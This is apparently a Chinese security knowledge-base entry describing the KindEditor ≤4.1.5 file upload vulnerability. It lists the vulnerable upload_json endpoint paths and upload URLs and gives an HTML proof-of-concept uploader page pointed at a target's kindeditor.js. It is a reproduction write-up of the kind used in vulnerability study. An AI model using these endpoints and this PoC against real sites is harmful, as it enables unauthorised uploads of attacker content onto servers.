menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 075-Kindeditor chevron_right 001-Kindeditor _=4.1.5 上传漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-Kindeditor _=4.1.5 上传漏洞.md
    1.03 KB / 2021-07-17 00:01:20
        # Kindeditor <=4.1.5 上传漏洞
    
    ### 一、漏洞简介
    
    漏洞存在于kindeditor编辑器里,你能上传.txt和.html文件,支持php/asp/jsp/asp.net,漏洞存在于小于等于kindeditor4.1.5编辑器中
    
    ### 二、漏洞影响
    
    Kindeditor <=4.1.5
    
    ### 三、复现过程
    
    json文件地址
    
    
    ```bash
    /asp/upload_json.asp
    
    /asp.net/upload_json.ashx
    
    /jsp/upload_json.jsp
    
    /php/upload_json.php
    ```
    
    上传路径
    
    
    ```bash
    kindeditor/asp/upload_json.asp?dir=file
    
    kindeditor/asp.net/upload_json.ashx?dir=file
    
    kindeditor/jsp/upload_json.jsp?dir=file
    
    kindeditor/php/upload_json.php?dir=file
    ```
    
    查看版本信息
    
    
    ```bash
    http://url/kindeditor//kindeditor.js
    ```
    
    ![](images/15891200317771.jpg)
    
    
    构造poc
    
    
    ```html
    <html><head>
    <title>Uploader</title>
    <script src="http://www.0-sec.org/kindeditor//kindeditor.js"></script>
    <script></script></head><body>
    <div class="upload">
    <input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
    <input type="button" id="uploadButton" value="Upload" />
    </div>
    </body>
    </html>
    ```
    
    links
    file_download